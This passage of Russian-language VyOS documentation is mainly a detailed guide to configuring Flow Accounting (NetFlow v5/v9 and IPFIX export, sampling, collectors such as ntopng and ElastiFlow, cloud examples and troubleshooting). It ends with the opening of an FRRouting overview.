- Интеграция с динамической маршрутизацией
- Отказоустойчивость через dual-hub

**Рекомендации**:
- Для service provider сетей - DMVPN идеален
- Для enterprise с множеством филиалов - DMVPN отличный выбор
- Для малых сетей (2-5 site) - рассмотрите WireGuard
- Используйте BGP для больших масштабируемых сетей
- Настройте dual-hub для критичных сетей
- Регулярно мониторьте и тестируйте

DMVPN в VyOS обеспечивает enterprise-grade функциональность для построения сложных VPN инфраструктур с отличной масштабируемостью и надежностью.


---

# Flow Accounting - Учет сетевых потоков

Source: https://opennix.org/docs/vyos/system/vyos-flow-accounting/


## Введение

Flow Accounting (учет сетевых потоков) - это механизм мониторинга и анализа сетевого трафика, позволяющий собирать статистику о потоках данных, проходящих через маршрутизатор. VyOS поддерживает несколько протоколов экспорта потоков: NetFlow (версии 5, 9, 10), IPFIX и sFlow.

### Основные компоненты

Flow Accounting состоит из трех основных компонентов:

1. **Exporter (Экспортер)** - VyOS-маршрутизатор, который собирает информацию о пакетах и агрегирует их в потоки
2. **Collector (Коллектор)** - сервер, который принимает и сохраняет данные о потоках
3. **Application (Приложение)** - программное обеспечение для анализа и визуализации данных о потоках

### Поддерживаемые протоколы

- **NetFlow v5** - классическая версия, поддерживает только IPv4
- **NetFlow v9** - расширенная версия с поддержкой шаблонов и IPv6
- **NetFlow v10 (IPFIX)** - стандартизированная версия NetFlow, RFC 7011
- **sFlow** - технология семплирования пакетов (не рассматривается в данном документе)

## Базовая конфигурация

### Включение Flow Accounting на интерфейсах

Flow Accounting необходимо явно включить на каждом интерфейсе, где требуется мониторинг трафика:

```bash
set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting interface eth2
```

### Настройка коллектора NetFlow

Минимальная конфигурация для экспорта потоков на коллектор:

```bash
# Настройка коллектора
set system flow-accounting netflow server 192.168.100.50 port 2055

# Выбор версии NetFlow
set system flow-accounting netflow version 9

# Указание исходного адреса для пакетов NetFlow
set system flow-accounting netflow source-address 192.168.0.1
```

## NetFlow версия 5

NetFlow v5 - наиболее широко поддерживаемая версия, но ограничена только IPv4 трафиком.

### Полная конфигурация NetFlow v5

```bash
# Включение интерфейсов
set system flow-accounting interface eth0
set system flow-accounting interface eth1

# Настройка NetFlow v5
set system flow-accounting netflow version 5
set system flow-accounting netflow server 192.168.100.50 port 2055
set system flow-accounting netflow source-address 192.168.0.1

# Настройка Engine ID (идентификатор маршрутизатора)
set system flow-accounting netflow engine-id 1

# Настройка таймаутов
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout flow-generic 3600
set system flow-accounting netflow timeout tcp-generic 3600
set system flow-accounting netflow timeout tcp-fin 300
set system flow-accounting netflow timeout tcp-rst 120
set system flow-accounting netflow timeout udp 300

# Ограничение максимального количества отслеживаемых потоков
set system flow-accounting netflow max-flows 10000

# Применение конфигурации
commit
save
```

### Параметры NetFlow v5

- **engine-id** - уникальный идентификатор маршрутизатора (0-255)
- **timeout expiry-interval** - интервал экспорта потоков в секундах (0-2147483647)
- **timeout flow-generic** - таймаут для обычных потоков в секундах
- **timeout tcp-generic** - таймаут для TCP-соединений
- **timeout tcp-fin** - таймаут для TCP-соединений с флагом FIN
- **timeout tcp-rst** - таймаут для TCP-соединений с флагом RST
- **timeout udp** - таймаут для UDP-потоков
- **max-flows** - максимальное количество одновременно отслеживаемых потоков

## NetFlow версия 9

NetFlow v9 поддерживает шаблоны, IPv6 и расширенные метаданные.

### Конфигурация NetFlow v9

```bash
# Включение интерфейсов
set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting interface eth2

# Настройка NetFlow v9
set system flow-accounting netflow version 9
set system flow-accounting netflow server 192.168.100.50 port 2055
set system flow-accounting netflow source-address 192.168.0.1

# Настройка частоты обновления шаблонов
set system flow-accounting netflow timeout template 60

# Настройка таймаутов
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout flow-generic 3600

# Применение конфигурации
commit
save
```

### Дополнительные параметры NetFlow v9

- **timeout template** - интервал отправки шаблонов в секундах (1-86400)

## IPFIX (NetFlow v10)

IPFIX - это стандартизированная версия NetFlow, определенная в RFC 7011. Является рекомендуемой версией для новых развертываний.

### Конфигурация IPFIX

```bash
# Включение интерфейсов
set system flow-accounting interface eth0
set system flow-accounting interface eth1

# Настройка IPFIX (NetFlow v10)
set system flow-accounting netflow version 10
set system flow-accounting netflow server 192.168.100.50 port 4739
set system flow-accounting netflow source-address 192.168.0.1

# Настройка таймаутов
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout flow-generic 3600
set system flow-accounting netflow timeout tcp-generic 3600
set system flow-accounting netflow timeout tcp-fin 300
set system flow-accounting netflow timeout tcp-rst 120
set system flow-accounting netflow timeout udp 300

# Применение конфигурации
commit
save
```

### Стандартные порты

- NetFlow v5/v9: обычно используется порт **2055** (UDP)
- IPFIX: стандартный порт **4739** (UDP)

## Sampling Rate (Частота семплирования)

Семплирование позволяет снизить нагрузку на маршрутизатор, анализируя только каждый N-й пакет.

### Настройка семплирования

```bash
# Анализировать каждый 100-й пакет
set system flow-accounting netflow sampling-rate 100

# Анализировать каждый 1000-й пакет (для высоконагруженных сетей)
set system flow-accounting netflow sampling-rate 1000

# Анализировать каждый 10-й пакет (для малых сетей)
set system flow-accounting netflow sampling-rate 10
```

### Рекомендации по семплированию

| Нагрузка сети | Рекомендуемый sampling-rate | Точность |
|---------------|----------------------------|----------|
| < 100 Mbps | 10-50 | Высокая |
| 100-500 Mbps | 100-200 | Средняя |
| 500 Mbps - 1 Gbps | 500-1000 | Базовая |
| > 1 Gbps | 1000-5000 | Обзорная |

**Важно**: Без семплирования (sampling-rate 1) каждый пакет анализируется, что может привести к высокой нагрузке на CPU при большом объеме трафика.

## Настройка нескольких коллекторов

VyOS поддерживает экспорт потоков на несколько коллекторов одновременно для обеспечения отказоустойчивости.

### Конфигурация с несколькими коллекторами

```bash
# Основной коллектор
set system flow-accounting netflow server 192.168.100.50 port 2055

# Резервный коллектор
set system flow-accounting netflow server 192.168.100.51 port 2055

# Коллектор в другом дата-центре
set system flow-accounting netflow server 10.200.50.10 port 2055

commit
save
```

## Aggregation (Агрегация)

Агрегация позволяет объединять потоки по определенным критериям для уменьшения объема экспортируемых данных.

### Настройка агрегации

```bash
# Агрегация по исходному AS (Autonomous System)
set system flow-accounting netflow aggregation source-as

# Агрегация по целевому AS
set system flow-accounting netflow aggregation destination-as

# Агрегация по префиксам источника
set system flow-accounting netflow aggregation source-prefix

# Агрегация по префиксам назначения
set system flow-accounting netflow aggregation destination-prefix

# Агрегация по портам протоколов
set system flow-accounting netflow aggregation protocol-port

commit
save
```

### Типы агрегации

- **source-as** - группировка по исходной автономной системе
- **destination-as** - группировка по целевой автономной системе
- **source-prefix** - группировка по префиксу источника
- **destination-prefix** - группировка по префиксу назначения
- **protocol-port** - группировка по протоколу и порту

## In-Memory Flow Table (не рекомендуется для продакшена)

VyOS может сохранять потоки в таблице в памяти для локального просмотра.

### Настройка локальной таблицы

```bash
# ВНИМАНИЕ: Не рекомендуется для продакшена!
set system flow-accounting buffer-size 10485760  # 10 MB

commit
save
```

**Предупреждение**: Использование локальной таблицы потоков может привести к:
- Повышенной нагрузке на CPU
- Нестабильной работе маршрутизатора
- Переполнению памяти при высокой нагрузке

Рекомендуется использовать внешние коллекторы вместо локальной таблицы.

## Пример для Yandex Cloud

### Экспорт NetFlow в систему мониторинга Yandex Cloud

```bash
# Конфигурация VyOS в Yandex Cloud
configure

# Включение Flow Accounting на внешнем и внутреннем интерфейсах
set system flow-accounting interface eth0  # Внешний интерфейс
set system flow-accounting interface eth1  # Внутренний интерфейс (подсети в VPC)

# Настройка IPFIX для экспорта в коллектор в Yandex Cloud
set system flow-accounting netflow version 10
set system flow-accounting netflow server 10.128.0.50 port 4739
set system flow-accounting netflow source-address 10.128.0.1

# Семплирование для оптимизации нагрузки
set system flow-accounting netflow sampling-rate 200

# Настройка таймаутов
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout flow-generic 3600
set system flow-accounting netflow timeout tcp-generic 3600
set system flow-accounting netflow timeout tcp-fin 300
set system flow-accounting netflow timeout tcp-rst 120
set system flow-accounting netflow timeout udp 300

# Ограничение количества потоков
set system flow-accounting netflow max-flows 50000

# Резервный коллектор в другой зоне доступности
set system flow-accounting netflow server 10.129.0.50 port 4739

commit
save
exit
```

### Интеграция с Yandex Monitoring

Для интеграции с Yandex Monitoring можно использовать следующие коллекторы:

- **ntopng** - развернутый на VM в Yandex Compute Cloud
- **ElastiFlow** - на базе Elasticsearch в Yandex Managed Service for Elasticsearch
- **Grafana + ClickHouse** - для долгосрочного хранения и анализа

Пример установки ntopng на Ubuntu в Yandex Cloud:

```bash
# На коллекторе в Yandex Cloud
sudo apt-get update
sudo apt-get install software-properties-common wget
sudo add-apt-repository universe

wget https://packages.ntop.org/apt/ntop.key
sudo apt-key add ntop.key

echo "deb https://packages.ntop.org/apt/stable/ $(lsb_release -cs) main" | \
  sudo tee /etc/apt/sources.list.d/ntop-stable.list

sudo apt-get update
sudo apt-get install ntopng nprobe

# Настройка nProbe для приема NetFlow/IPFIX
sudo nano /etc/nprobe/nprobe.conf
```

Конфигурация nProbe:

```
--zmq=tcp://127.0.0.1:5556
--collector-port=4739
--collector-protocol=ipfix
-i=none
```

Конфигурация ntopng:

```
--zmq=tcp://127.0.0.1:5556
-i=tcp://127.0.0.1:5556
```

## Пример для VK Cloud

### IPFIX для анализа трафика в VK Cloud

```bash
# Конфигурация VyOS в VK Cloud
configure

# Включение Flow Accounting на всех активных интерфейсах
set system flow-accounting interface eth0  # Внешний интерфейс (ext-net)
set system flow-accounting interface eth1  # Внутренний интерфейс (private network)
set system flow-accounting interface eth2  # DMZ интерфейс

# Настройка IPFIX
set system flow-accounting netflow version 10
set system flow-accounting netflow server 10.0.10.100 port 4739
set system flow-accounting netflow source-address 10.0.10.1

# Умеренное семплирование для баланса точности и производительности
set system flow-accounting netflow sampling-rate 100

# Настройка Engine ID (уникальный ID маршрутизатора)
set system flow-accounting netflow engine-id 10

# Таймауты для различных типов потоков
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout flow-generic 3600
set system flow-accounting netflow timeout tcp-generic 3600
set system flow-accounting netflow timeout tcp-fin 300
set system flow-accounting netflow timeout tcp-rst 120
set system flow-accounting netflow timeout udp 300
set system flow-accounting netflow timeout icmp 300

# Максимальное количество отслеживаемых потоков
set system flow-accounting netflow max-flows 100000

# Агрегация по протоколам и портам для упрощения анализа
set system flow-accounting netflow aggregation protocol-port

# Резервный коллектор
set system flow-accounting netflow server 10.0.20.100 port 4739

commit
save
exit
```

### Использование ElastiFlow в VK Cloud

ElastiFlow - популярное решение для анализа NetFlow/IPFIX на базе Elastic Stack.

Установка ElastiFlow на VM в VK Cloud:

```bash
# Установка Docker
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

# Создание docker-compose.yml для ElastiFlow
mkdir elastiflow && cd elastiflow
nano docker-compose.yml
```

Пример docker-compose.yml:

```yaml
version: '3'
services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms2g -Xmx2g"
    ports:
      - "9200:9200"
    volumes:
      - esdata:/usr/share/elasticsearch/data

  kibana:
    image: docker.elastic.co/kibana/kibana:7.17.0
    container_name: kibana
    ports:
      - "5601:5601"
    environment:
      ELASTICSEARCH_HOSTS: http://elasticsearch:9200

  elastiflow:
    image: robcowart/elastiflow-logstash-oss:4.0.1
    container_name: elastiflow
    network_mode: host
    environment:
      - ELASTIFLOW_ES_HOST=127.0.0.1:9200
      - ELASTIFLOW_NETFLOW_IPV4_PORT=2055
      - ELASTIFLOW_SFLOW_IPV4_PORT=6343
      - ELASTIFLOW_IPFIX_TCP_IPV4_PORT=4739

volumes:
  esdata:
```

Запуск ElastiFlow:

```bash
sudo docker-compose up -d
```

После запуска Kibana будет доступна по адресу: `http://<VM_IP>:5601`

## Мультиинтерфейсная конфигурация

### Селективный мониторинг интерфейсов

```bash
configure

# Мониторинг только внешних интерфейсов
set system flow-accounting interface eth0  # WAN1
set system flow-accounting interface eth1  # WAN2

# Исключаем внутренние интерфейсы для снижения нагрузки
# set system flow-accounting interface eth2  # LAN - не мониторим

# Настройка NetFlow v9
set system flow-accounting netflow version 9
set system flow-accounting netflow server 192.168.100.50 port 2055
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 500

commit
save
exit
```

## Расширенная конфигурация с фильтрацией

### Настройка для мониторинга только критичных потоков

```bash
configure

# Включение на всех интерфейсах
set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting interface eth2

# Настройка IPFIX с агрессивным семплированием
set system flow-accounting netflow version 10
set system flow-accounting netflow server 192.168.100.50 port 4739
set system flow-accounting netflow server 192.168.100.51 port 4739  # Резервный
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 1000  # Каждый 1000-й пакет

# Короткие таймауты для быстрого обновления
set system flow-accounting netflow timeout expiry-interval 30
set system flow-accounting netflow timeout flow-generic 1800
set system flow-accounting netflow timeout tcp-generic 1800
set system flow-accounting netflow timeout tcp-fin 120
set system flow-accounting netflow timeout tcp-rst 60
set system flow-accounting netflow timeout udp 120
set system flow-accounting netflow timeout icmp 120

# Большое количество потоков для высоконагруженных сетей
set system flow-accounting netflow max-flows 500000

# Агрегация для уменьшения объема данных
set system flow-accounting netflow aggregation protocol-port
set system flow-accounting netflow aggregation destination-prefix

commit
save
exit
```

## Проверка конфигурации

### Просмотр текущей конфигурации

```bash
# Показать всю конфигурацию Flow Accounting
show configuration system flow-accounting

# Показать только настройки NetFlow
show configuration system flow-accounting netflow
```

Пример вывода:

```
flow-accounting {
    interface eth0
    interface eth1
    netflow {
        engine-id 1
        max-flows 10000
        sampling-rate 100
        server 192.168.100.50 {
            port 2055
        }
        source-address 192.168.0.1
        timeout {
            expiry-interval 60
            flow-generic 3600
            tcp-fin 300
            tcp-generic 3600
            tcp-rst 120
            udp 300
        }
        version 9
    }
}
```

## Операционные команды

### Просмотр статистики потоков

```bash
# Показать потоки на интерфейсе eth0
show flow-accounting interface eth0

# Показать потоки на интерфейсе eth1
show flow-accounting interface eth1

# Показать потоки для конкретного хоста
show flow-accounting interface eth0 host 192.168.1.100

# Показать топ 20 потоков по объему трафика
show flow-accounting interface eth0 | head -20
```

Пример вывода `show flow-accounting interface eth0`:

```
flow-accounting for interface eth0

Src IP Addr:Port    Dst IP Addr:Port    Proto    Packets    Bytes
192.168.1.10:443    8.8.8.8:53         UDP      1234       567890
192.168.1.20:80     1.1.1.1:443        TCP      5678       2345678
192.168.1.30:22     10.0.0.50:54321    TCP      910        123456
```

### Фильтрация вывода

```bash
# Показать только TCP потоки
show flow-accounting interface eth0 | grep TCP

# Показать только потоки от конкретной подсети
show flow-accounting interface eth0 | grep "192.168.1."

# Показать потоки на порт 443 (HTTPS)
show flow-accounting interface eth0 | grep ":443"

# Показать топ 10 потоков и отсортировать по байтам
show flow-accounting interface eth0 | sort -k5 -n -r | head -10
```

## Мониторинг экспорта NetFlow

### Проверка отправки пакетов NetFlow

```bash
# Проверка активных соединений с коллектором (на VyOS)
sudo netstat -anu | grep 2055

# Проверка с помощью tcpdump
sudo tcpdump -i any port 2055 -n

# Проверка UDP трафика к коллектору
sudo tcpdump -i any host 192.168.100.50 and port 2055 -vv
```

### Проверка на стороне коллектора

```bash
# На коллекторе: прослушивание NetFlow пакетов
sudo tcpdump -i eth0 port 2055 -n -vv

# Проверка открытого порта на коллекторе
sudo netstat -anu | grep 2055
sudo ss -anu | grep 2055
```

## Отладка проблем

### Включение отладочного режима

```bash
# Проверка логов системы
show log | grep flow

# Мониторинг системных ресурсов
show system resource

# Проверка загрузки CPU
top
```

### Проверка доступности коллектора

```bash
# Ping до коллектора
ping 192.168.100.50

# Проверка маршрута
traceroute 192.168.100.50

# Проверка UDP связности (требует nc/netcat)
nc -u 192.168.100.50 2055
```

### Типичные проблемы и решения

#### 1. NetFlow пакеты не достигают коллектора

**Симптомы**:
- Коллектор не получает данные
- tcpdump на VyOS показывает исходящие пакеты, но коллектор их не видит

**Решения**:

```bash
# Проверить, что source-address корректный
show configuration system flow-accounting netflow source-address

# Проверить правила firewall
show firewall

# Убедиться, что исходящий трафик не блокируется
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 destination port 2055
set firewall name WAN_LOCAL rule 100 protocol udp
commit
save
```

#### 2. Высокая нагрузка CPU

**Симптомы**:
- CPU использование > 80%
- Задержки в обработке пакетов

**Решения**:

```bash
# Увеличить sampling-rate
set system flow-accounting netflow sampling-rate 1000  # Было 100
commit

# Уменьшить max-flows
set system flow-accounting netflow max-flows 10000  # Было 100000
commit

# Отключить Flow Accounting на неважных интерфейсах
delete system flow-accounting interface eth2
commit
save
```

#### 3. Переполнение таблицы потоков

**Симптомы**:
- Потоки отбрасываются
- Неполные данные на коллекторе

**Решения**:

```bash
# Увеличить max-flows
set system flow-accounting netflow max-flows 200000
commit

# Уменьшить таймауты для более быстрого освобождения
set system flow-accounting netflow timeout flow-generic 1800  # Было 3600
set system flow-accounting netflow timeout tcp-generic 1800
commit
save
```

#### 4. Несовместимость версий NetFlow

**Симптомы**:
- Коллектор не распознает формат
- Ошибки парсинга на коллекторе

**Решения**:

```bash
# Попробовать другую версию NetFlow
delete system flow-accounting netflow version
set system flow-accounting netflow version 5  # Самая совместимая
commit

# Или использовать IPFIX (v10)
set system flow-accounting netflow version 10
commit
save
```

#### 5. Проблемы с агрегацией

**Симптомы**:
- Слишком много или слишком мало потоков
- Потеря детализации

**Решения**:

```bash
# Отключить агрегацию для полной детализации
delete system flow-accounting netflow aggregation
commit

# Или использовать селективную агрегацию
delete system flow-accounting netflow aggregation
set system flow-accounting netflow aggregation protocol-port
commit
save
```

## Best Practices (Лучшие практики)

### 1. Выбор версии NetFlow

- **NetFlow v5**: Используйте для максимальной совместимости, только IPv4
- **NetFlow v9**: Используйте для поддержки IPv6 и расширенных метаданных
- **IPFIX (v10)**: Рекомендуется для новых развертываний, стандартизирован

### 2. Семплирование

Рекомендации по настройке sampling-rate:

```bash
# Для офисных сетей (< 100 Mbps)
set system flow-accounting netflow sampling-rate 10

# Для корпоративных сетей (100-500 Mbps)
set system flow-accounting netflow sampling-rate 100

# Для высоконагруженных сетей (500 Mbps - 1 Gbps)
set system flow-accounting netflow sampling-rate 500

# Для очень высоких нагрузок (> 1 Gbps)
set system flow-accounting netflow sampling-rate 1000
```

**Важно**: Чем выше sampling-rate, тем меньше нагрузка на CPU, но ниже точность подсчета объемов трафика.

### 3. Оптимизация таймаутов

```bash
# Для динамичных сетей (много коротких соединений)
set system flow-accounting netflow timeout expiry-interval 30
set system flow-accounting netflow timeout tcp-fin 120
set system flow-accounting netflow timeout tcp-rst 60
set system flow-accounting netflow timeout udp 120

# Для стабильных сетей (долгоживущие соединения)
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout tcp-fin 300
set system flow-accounting netflow timeout tcp-rst 120
set system flow-accounting netflow timeout udp 300
```

### 4. Резервирование коллекторов

Всегда настраивайте минимум 2 коллектора:

```bash
# Основной коллектор
set system flow-accounting netflow server 192.168.100.50 port 2055

# Резервный коллектор (в другом сегменте сети)
set system flow-accounting netflow server 192.168.200.50 port 2055
```

### 5. Сегментация мониторинга

Мониторьте только критичные интерфейсы:

```bash
# Мониторим внешние интерфейсы (интернет)
set system flow-accounting interface eth0  # WAN1
set system flow-accounting interface eth1  # WAN2

# НЕ мониторим внутренние интерфейсы для экономии ресурсов
# Исключение: интерфейсы с критичным трафиком или для расследования инцидентов
```

### 6. Ограничение max-flows

Выбирайте разумное значение max-flows:

```bash
# Для малых сетей (< 50 пользователей)
set system flow-accounting netflow max-flows 10000

# Для средних сетей (50-200 пользователей)
set system flow-accounting netflow max-flows 50000

# Для крупных сетей (> 200 пользователей)
set system flow-accounting netflow max-flows 200000
```

### 7. Использование source-address

Всегда явно указывайте source-address:

```bash
# Используйте адрес интерфейса управления или loopback
set system flow-accounting netflow source-address 192.168.0.1

# Это помогает идентифицировать источник на коллекторе
# Особенно важно при использовании нескольких VyOS-маршрутизаторов
```

### 8. Мониторинг производительности

Регулярно проверяйте нагрузку:

```bash
# Проверка CPU
show system resource

# Проверка количества активных потоков
show flow-accounting interface eth0 | wc -l

# Если CPU > 70%, увеличьте sampling-rate или уменьшите max-flows
```

### 9. Документирование конфигурации

Используйте комментарии для документирования:

```bash
# ПРИМЕЧАНИЕ: VyOS не поддерживает комментарии в конфигурации напрямую
# Документируйте конфигурацию в отдельном файле или системе управления конфигурациями

# Пример документации:
# eth0 - WAN1 (провайдер Ростелеком, 500 Mbps)
# eth1 - WAN2 (провайдер МТС, 300 Mbps)
# Коллектор 192.168.100.50 - основной (ntopng)
# Коллектор 192.168.200.50 - резервный (ElastiFlow)
```

### 10. Безопасность

Защитите трафик NetFlow:

```bash
# Настройте firewall для ограничения доступа к коллекторам
set firewall name LAN_OUT rule 100 action accept
set firewall name LAN_OUT rule 100 destination address 192.168.100.50
set firewall name LAN_OUT rule 100 destination port 2055
set firewall name LAN_OUT rule 100 protocol udp
set firewall name LAN_OUT rule 100 source address 192.168.0.1

# Рассмотрите использование VPN для защиты NetFlow трафика
# особенно при отправке через недоверенные сети
```

## Интеграция с популярными коллекторами

### ntopng

ntopng - популярное решение с web-интерфейсом для анализа NetFlow/IPFIX.

Конфигурация VyOS для ntopng:

```bash
configure

set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting netflow version 9
set system flow-accounting netflow server 192.168.100.50 port 2055
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 100

commit
save
exit
```

### nfsen/nfdump

nfsen/nfdump - классическое решение для хранения и анализа NetFlow.

Конфигурация VyOS для nfsen:

```bash
configure

set system flow-accounting interface eth0
set system flow-accounting netflow version 5  # nfsen отлично работает с v5
set system flow-accounting netflow server 192.168.100.50 port 9995
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow engine-id 1
set system flow-accounting netflow sampling-rate 100

commit
save
exit
```

### ElastiFlow

ElastiFlow - современное решение на базе Elastic Stack.

Конфигурация VyOS для ElastiFlow:

```bash
configure

set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting netflow version 10  # IPFIX
set system flow-accounting netflow server 192.168.100.50 port 4739
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 200
set system flow-accounting netflow timeout expiry-interval 60

commit
save
exit
```

### Grafana + InfluxDB

Для интеграции с InfluxDB потребуется промежуточный конвертер (например, telegraf с плагином netflow).

Конфигурация VyOS:

```bash
configure

set system flow-accounting interface eth0
set system flow-accounting netflow version 9
set system flow-accounting netflow server 192.168.100.50 port 6343
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 100

commit
save
exit
```

Конфигурация Telegraf на сервере:

```toml
[[inputs.netflow]]
  service_address = "udp://:6343"
  protocol = "netflow v9"

[[outputs.influxdb]]
  urls = ["http://localhost:8086"]
  database = "netflow"
```

## Полный пример enterprise-конфигурации

```bash
configure

# Описание: Enterprise конфигурация для мониторинга трафика
# Сеть: 1 Gbps интернет канал, 500 пользователей
# Коллекторы: ntopng (основной), ElastiFlow (долгосрочное хранение)

# Интерфейсы для мониторинга
set system flow-accounting interface eth0  # WAN (интернет)
set system flow-accounting interface eth1  # LAN (корпоративная сеть)
set system flow-accounting interface eth2  # DMZ (серверы)

# Основные настройки NetFlow
set system flow-accounting netflow version 10  # IPFIX для современных коллекторов
set system flow-accounting netflow source-address 10.0.0.1
set system flow-accounting netflow engine-id 1

# Коллекторы
set system flow-accounting netflow server 10.100.50.10 port 2055  # ntopng (основной)
set system flow-accounting netflow server 10.100.50.20 port 4739  # ElastiFlow (резервный)
set system flow-accounting netflow server 10.200.50.10 port 2055  # Удаленный ЦОД

# Семплирование для баланса точности и производительности
set system flow-accounting netflow sampling-rate 500  # Каждый 500-й пакет

# Таймауты оптимизированы для корпоративной сети
set system flow-accounting netflow timeout expiry-interval 60
set system flow-accounting netflow timeout flow-generic 3600  # 1 час
set system flow-accounting netflow timeout tcp-generic 3600
set system flow-accounting netflow timeout tcp-fin 300  # 5 минут
set system flow-accounting netflow timeout tcp-rst 120  # 2 минуты
set system flow-accounting netflow timeout udp 300  # 5 минут
set system flow-accounting netflow timeout icmp 120

# Ограничение потоков для предотвращения перегрузки
set system flow-accounting netflow max-flows 100000

# Агрегация для уменьшения объема данных при сохранении детализации
set system flow-accounting netflow aggregation protocol-port

commit
save
exit
```

## Сценарии использования

### 1. Анализ использования полосы пропускания

```bash
# Настроить NetFlow для точного учета
configure
set system flow-accounting interface eth0
set system flow-accounting netflow version 9
set system flow-accounting netflow server 192.168.100.50 port 2055
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 10  # Высокая точность
commit
save
exit

# Анализ на коллекторе покажет:
# - Топ пользователей по объему трафика
# - Топ приложений/протоколов
# - Распределение трафика по времени суток
```

### 2. Обнаружение аномалий и атак

```bash
# Настроить чувствительный мониторинг
configure
set system flow-accounting interface eth0  # Внешний интерфейс
set system flow-accounting netflow version 10
set system flow-accounting netflow server 192.168.100.50 port 4739
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 100
set system flow-accounting netflow timeout expiry-interval 30  # Быстрое обновление
commit
save
exit

# Коллектор (ElastiFlow/ntopng) поможет обнаружить:
# - DDoS атаки (аномальное количество пакетов)
# - Сканирование портов (множество соединений на разные порты)
# - Утечки данных (большие объемы исходящего трафика)
```

### 3. Соответствие требованиям регуляторов (compliance)

```bash
# Настроить долгосрочное хранение метаданных
configure
set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting netflow version 10
set system flow-accounting netflow server 192.168.100.50 port 4739  # ElastiFlow
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 200
commit
save
exit

# На стороне коллектора (ElastiFlow):
# - Настроить хранение данных на 1+ год
# - Реализовать ролевой доступ к данным
# - Настроить аудит доступа к логам
```

### 4. Оптимизация сетевой инфраструктуры

```bash
# Собрать статистику для анализа
configure
set system flow-accounting interface eth0
set system flow-accounting interface eth1
set system flow-accounting interface eth2
set system flow-accounting netflow version 9
set system flow-accounting netflow server 192.168.100.50 port 2055
set system flow-accounting netflow source-address 192.168.0.1
set system flow-accounting netflow sampling-rate 100
commit
save
exit

# Анализ покажет:
# - Неэффективные маршруты
# - Узкие места (bottlenecks)
# - Кандидаты на QoS политики
# - Недоиспользуемые каналы
```

## Заключение

Flow Accounting в VyOS - мощный инструмент для мониторинга, анализа и оптимизации сетевого трафика. Правильная настройка позволяет:

1. **Мониторинг производительности**: Отслеживание использования полосы пропускания и выявление узких мест
2. **Безопасность**: Обнаружение аномалий, атак и несанкционированной активности
3. **Планирование**: Прогнозирование роста трафика и планирование расширения
4. **Compliance**: Соответствие требованиям регуляторов по хранению метаданных
5. **Оптимизация**: Выявление неэффективных потоков и оптимизация маршрутизации

### Ключевые рекомендации

- Используйте IPFIX (NetFlow v10) для новых развертываний
- Настраивайте минимум 2 коллектора для отказоустойчивости
- Выбирайте sampling-rate в зависимости от нагрузки сети
- Мониторьте нагрузку CPU и корректируйте параметры при необходимости
- Регулярно проверяйте доставку потоков на коллекторы
- Документируйте конфигурацию и изменения

### Полезные ссылки

- VyOS Flow Accounting: https://docs.vyos.io/en/latest/configuration/system/flow-accounting.html
- RFC 3954 - Cisco Systems NetFlow v9: https://www.rfc-editor.org/rfc/rfc3954
- RFC 7011 - IPFIX Protocol Specification: https://www.rfc-editor.org/rfc/rfc7011.html
- ntopng Documentation: https://www.ntop.org/guides/ntopng/
- ElastiFlow Documentation: https://github.com/robcowart/elastiflow

---

**Примечание**: Данная документация актуальна для VyOS 1.4 (Sagitta) и VyOS 1.5 (Circinus). Функциональность Flow Accounting стабильна между версиями.


---

# FRR - FRRouting Configuration

Source: https://opennix.org/docs/vyos/system/vyos-frr/



FRRouting (FRR) - это модульный пакет демонов маршрутизации с открытым исходным кодом, который обеспечивает реализацию основных протоколов маршрутизации в VyOS.

## Обзор

VyOS использует FRRouting как control plane для динамической маршрутизации. FRR является форком Quagga и поддерживает современные протоколы маршрутизации с активным развитием и поддержкой сообщества.

### Что такое FRR

**FRRouting (FRR)**:
- IP routing protocol suite для Linux и Unix платформ
- Включает демоны для BGP, OSPF, RIP, IS-IS, PIM, LDP, BFD и других протоколов
- Модульная архитектура с независимыми демонами для каждого протокола
- CLI интерфейс vtysh схожий с Cisco/Juniper
- Используется в production средах крупных интернет-провайдеров и датацентров

### Архитектура FRR

FRR состоит из нескольких независимых демонов:

**Основные демоны**:
- **zebra** - ядро FRR, управляет routing table, взаимодействует с kernel
- **bgpd** - демон Border Gateway Protocol
- **ospfd** - демон OSPF для IPv4
- **ospf6d** - демон OSPF для IPv6
- **ripd** - демон RIP для IPv4
- **ripngd** - демон RIPng для IPv6
- **isisd** - демон IS-IS
- **pimd** - демон PIM (Protocol Independent Multicast)
- **ldpd** - демон Label Distribution Protocol для MPLS
- **bfdd** - демон Bidirectional Forwarding Detection
- **staticd** - демон статических маршрутов
- **fabricd** - демон OpenFabric

### Зачем настраивать FRR

Настройка FRR на уровне системы позволяет:
- Интегрировать SNMP мониторинг для routing демонов
- Оптимизировать производительность (file descriptors для BGP)
- Включить дополнительные функции (BMP, IRDP)
- Настраивать параметры демонов
- Получать прямой доступ к vtysh для отладки
- Импортировать/экспортировать конфигурации FRR

